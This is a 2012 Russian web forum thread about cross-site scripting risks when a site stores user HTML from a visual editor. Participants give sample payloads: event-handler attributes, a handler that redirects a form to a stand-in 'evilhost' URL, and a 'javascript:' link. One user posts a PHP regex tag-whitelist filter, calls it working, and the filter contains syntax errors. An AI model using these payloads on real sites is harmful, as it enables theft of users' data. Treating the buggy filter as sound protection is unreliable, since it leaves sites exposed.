[ Поиск ] - [ Пользователи ] - [ Календарь ]
Полная Версия: Безопасность визуального редактора
Sergen
Доброго времени суток!
Я ради эксперемента, прикрутил один готовый визуальный редактор в форме. Естественно в базе, содержимое поля хранится вместе с html разметкой (Прошу не пинать за это- все-таки эксперемент)))
Собственно возникли вопросы по безопасности.

Вопрос, в базу прогоняю через mysql_real_escape_string. Плюс редактор всякие script обезвреживает. Но в режиме html, он уже не обезвреживает (косяк разработчиков)
Через htmlspecialchars низзя, не вводе не на выводе.
А если через регулярку прогонять текст, например вырезая или искажая script
просто любопытно, а в чем еще может быть опасность?



Спустя 32 минуты (17.06.2012 - 14:06) DySprozin написал(а):
Sergen
как минимум, еще в событиях (; хотя бы так:

<anytag onmouseover='hackscript();'>

Спустя 9 минут, 5 секунд (17.06.2012 - 14:16) Sergen написал(а):
Цитата (DySprozin @ 17.06.2012 - 11:06)
Sergen
как минимум, еще в событиях (; хотя бы так:

<anytag onmouseover='hackscript();'>

Ну тогда наверное еще src Откуда-то подключаться скрипт же должен?

Спустя 7 минут, 9 секунд (17.06.2012 - 14:23) DySprozin написал(а):
Sergen
hackscript() я тут условно привел (;

в реальности, конечно, будет, например, так:

<anytag onCобытие='document.forms[0].action="http://evilhost/form.php";'>


или что-то для кражи куков... в общем, полное раздолье (;

Спустя 4 минуты, 18 секунд (17.06.2012 - 14:27) DySprozin написал(а):
лучше, другой скрипт возьми - их в сети полно, можт тут кто-то посоветует. Потому что дырки латать ты замучаешься. Скажем, iframe у тебя фильтруется? Нет? Вот уже можешь ждать дяденек в фуражках, когда окажется, что твой сайт - рассадник вирусов. У тебя <object> фильтруется? Нет? Можешь смело писать на своем сайте: "добро пожаловать, хакеры, чувствуйте себя, как дома". У тебя style фильтруется? Нет? Можешь смело писать "пропиарю любой сайт бесплатно", потому что будет полно скрытых ссылок... И так далее (;

Спустя 49 минут, 59 секунд (17.06.2012 - 15:17) Sergen написал(а):
Цитата (DySprozin @ 17.06.2012 - 11:27)
лучше, другой скрипт возьми - их в сети полно, можт тут кто-то посоветует. Потому что дырки латать ты замучаешься. Скажем, iframe у тебя фильтруется? Нет? Вот уже можешь ждать дяденек в фуражках, когда окажется, что твой сайт - рассадник вирусов. У тебя <object> фильтруется? Нет? Можешь смело писать на своем сайте: "добро пожаловать, хакеры, чувствуйте себя, как дома". У тебя style фильтруется? Нет? Можешь смело писать "пропиарю любой сайт бесплатно", потому что будет полно скрытых ссылок... И так далее (;

Е-мое blink.gif
Спасибо...Познал кое чего интересного))) Лучше без тэгов и через htmlspecialchars)))
Я вот о чем подумал. Эти фильтры в визуальных редакторах на js наверное.

Спустя 2 минуты, 42 секунды (17.06.2012 - 15:20) DySprozin написал(а):
Sergen
ну _обычно_, они клиентские, так что логично (;

Спустя 15 минут, 25 секунд (17.06.2012 - 15:35) Sergen написал(а):
Цитата (DySprozin @ 17.06.2012 - 12:20)
Sergen
ну _обычно_, они клиентские, так что логично (;

Просто раньше делал сайты на джумле, а там некоторые компоненты предлагают редактор для пользователей. А в базе как раз хранится там в html разметке. Я всегда конечно отключал эти редакторы для пользователей.
Т.е. отключил js и пихай все что хочется? Е-мое....

Спустя 4 минуты, 59 секунд (17.06.2012 - 15:40) DySprozin написал(а):
ну, я думаю не все так грустно (; вряд ли на джумле не предусмотрено фильтров — иначе бы уже давно куча сайтов была бы поломана... Неофициальные компоненты — да, могут содержать корявости, как в твоем случае. Хотя и в той же джумле от ошибок ничто не застраховано. По крайней мере на 100% (;

Спустя 6 минут, 29 секунд (17.06.2012 - 15:47) DySprozin написал(а):
Цитата
ну _обычно_, они клиентские, так что логично (;

мну имел ввиду полностью клиентские, как например TinyMCE (; а в джумле оно наверняка с серверной частью.

Спустя 55 минут, 8 секунд (17.06.2012 - 16:42) vital написал(а):
Да лаадно.
просто делается список разрешенных тегов - <a><b><font> и еще парочку, остальные фильтруются. Делов-то =\

Спустя 9 минут, 12 секунд (17.06.2012 - 16:51) DySprozin написал(а):
vital
делов :) попробуй на досуге этот код у себя:

<a onmouseover='alert("Привет, дружище!");' href="http://yandex.ru">Поисковая система</a>

Спустя 2 часа, 47 минут, 7 секунд (17.06.2012 - 19:38) Sergen написал(а):
Цитата (DySprozin @ 17.06.2012 - 12:47)
Цитата
ну _обычно_, они клиентские, так что логично (;

мну имел ввиду полностью клиентские, как например TinyMCE (; а в джумле оно наверняка с серверной частью.

TinyMCE я рассматривал в качестве редактора. Там query и все. Не помню, в джумле есть ли к нему плагины?
А как это с серверной частью?
Я кстати, сегодня попробовал в админской части. После отключения js скрипт вставляется в текст, без всяких изменений. Другое дело, что отправка перестает работать.

Спустя 3 минуты, 26 секунд (17.06.2012 - 19:41) DySprozin написал(а):
>А как это с серверной частью?
ну с php-скриптом, который фильтрует всякие пакости (;

>Другое дело, что отправка перестает работать.
ну это для любого взломщика не помеха — отправить можно и другими способами, не обязательно непосредственно с сайта (; так что без обработки с серверной стороны — никуда (;

Спустя 55 минут, 2 секунды (17.06.2012 - 20:36) vital написал(а):
Цитата (DySprozin @ 17.06.2012 - 15:51)
vital
делов :) попробуй на досуге этот код у себя:

<a onmouseover='alert("Привет, дружище!");' href="http://yandex.ru">Поисковая система</a>

Да лаадно, удивил =\ Атрибуты я тоже отфильтрую все кроме href.

Спустя 2 минуты, 45 секунд (17.06.2012 - 20:39) vital написал(а):
$allowed_tags = array(
array('b', true),
array('i', true),
array('u', true),
array('s', true),
array('strong', true),
array('em', true),
array('strike', true),
array('big', true),
array('small', true),
array('h1', true),
array('h2', true),
array('h3', true),
array('h4', true),
array('h5', true),
array('h6', true),
array('abbr', true, array(array('title', true))),
array('acronym', true),
array('blockquote', true),
array('br', false),
array('p', true),
array('sub', true),
array('sup', true),
array('ul', true),
array('ol', true),
array('li', true),
array('a', true, array(array('href', true, '[\/:a-z0-9-.?=&]+?'), array('title', false))),
array('img', false, array(array('src', true, '[\/:a-z0-9-.?=&]+?'), array('alt', false)))
);


function tagsParser($str)
{
if (!is_string($str))
return false;


foreach (allowed_tags as $value) {
$regexp_attributes = '';

$pattern_attributes = '';

$i = 1;

if (isset($value[2]) && is_array($value[2])) {
foreach ($value[2] as $attr) {
if (isset($attr[2]))
$val = '('.$attr[2].')';
else
$val = '(.*?)';

if ($attr[1]) {
$regexp_attributes .= ' '.$attr[0].'="'.$val.'"';
$pattern_attributes .= ' '.$attr[0].'="$'.$i.'"';

$i++;
} else {
$regexp_attributes .= '( '.$attr[0].'=")?'.$val.'(")?';

$i++;

$pattern_attributes .= ' '.$attr[0].'="$'.$i.'"';

$i+=2;
}
}
}


if ($value[1]) {
$regexp = '/<'.$value[0].$regexp_attributes.'>(.*?)<\/'.$value[0].'>/is';
$pattern = '<'.$value[0].$pattern_attributes.'>$'.$i.'</'.$value[0].'>';
} else {
$regexp = '/<'.$value[0].$regexp_attributes.'(\s?)(\/?)&gt/is';
$pattern = '<'.$value[0].$pattern_attributes.' />';
}

$str = preg_replace($regexp, $pattern, $str);
}

$str = str_ireplace('javascript:', '', $str);

return $str;
}
}

Выдрано чуть из контекста, но суть ясна.
нате вам. Закрывайте тред.

Спустя 11 минут, 11 секунд (17.06.2012 - 20:50) DySprozin написал(а):
vital
да лааадно?

<a href='javascript:alert("Привет, дружище!");'>Супер-ссылка!</a>

Спустя 2 минуты, 29 секунд (17.06.2012 - 20:53) DySprozin написал(а):
vital
сейчас ты мне укажешь на строчку
  $str = str_ireplace('javascript:', '', $str);


ага, ага... молодец, никто не спорит. Только твое "делов-то" вытекает в немаленький php-скрипт.

Спустя 5 минут, 28 секунд (17.06.2012 - 20:58) vital написал(а):
Цитата (DySprozin @ 17.06.2012 - 19:53)
vital
сейчас ты мне укажешь на строчку
  $str = str_ireplace('javascript:', '', $str);


ага, ага... молодец, никто не спорит. Только твое "делов-то" вытекает в немаленький php-скрипт.

код выше - рабочий.

Я не знаю чего-то что он не отфильтрует именно в теге.

Бери впиливай в себе в прилагу. В чем проблема?

Спустя 1 минута, 10 секунд (17.06.2012 - 21:00) vital написал(а):
Цитата (DySprozin @ 17.06.2012 - 19:53)
vital
сейчас ты мне укажешь на строчку
  $str = str_ireplace('javascript:', '', $str);


ага, ага... молодец, никто не спорит. Только твое "делов-то" вытекает в немаленький php-скрипт.

и вообще.. и чо?

Программистам и платят за написание кода, не?

Спустя 1 час, 5 минут, 42 секунды (17.06.2012 - 22:05) Sergen написал(а):
Цитата
и вообще.. и чо?

Программистам и платят за написание кода, не?

VITAL спасибо. Себе отложу, вдруг пригодится
Быстрый ответ:

 Графические смайлики |  Показывать подпись
Здесь расположена полная версия этой страницы.
Invision Power Board © 2001-2025 Invision Power Services, Inc.